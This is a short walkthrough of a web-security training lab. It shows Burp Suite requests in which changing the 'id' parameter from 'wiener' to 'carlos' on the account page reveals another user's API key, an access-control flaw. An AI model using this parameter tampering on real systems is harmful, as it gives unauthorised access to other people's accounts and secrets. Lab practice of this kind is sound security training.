User ID controlled by request parameter

Get Carlos' API Key

Run Request Through Proxy and Look for Interesting Stuff

#	Host	Method	URL	Params	Edited
50	https://0a0d00c80497c188c015...	GET	/academyLabHeader		
49	https://0a0d00c80497c188c015...	GET	/my-account?id=wiener	✓	
48	https://0a0d00c80497c188c015...	GET	/academyLabHeader		
47	https://0a0d00c80497c188c015...	GET	/my-account		
46	https://0a0d00c80497c188c015...	POST	/my-account/change-email	✓	
45	https://0a0d00c80497c188c015...	GET	/academyLabHeader		

Send to Repeater to Play

Request

Pretty Raw Hex

```
1 GET /my-account?id=wiener HTTP/1.1
2 Host: 0a0d00c80497c188c0156492005e0056.web-security-academy.net
3 Cookie: session=ZonAw7RTnpnwXMRmh8Gm2YCAzlGebsta
4 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
  0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a0d00c80497c188c0156492005e0056.web-security-academy.net/my-account
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
```

Change User to Carlos and Send

Request

Pretty Raw Hex

```
1 GET /my-account?id=carlos HTTP/1.1
2 Host: 0a0d00c80497c188c0156492005e0056.web-security-academy.
3 Cookie: session=ZonAw7RTnpnwXMRmh8Gm2YCAzlGebsta
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=utf-8
3 Cache-Control: no-cache
```

```
  Your username is: carlos
</p>
<div>
  Your API Key is: Aqt5eKIpG5wRhdkdKy4BRHitQAPuRe0J
</div>
<br/>
```

Congratulations, you solved the lab!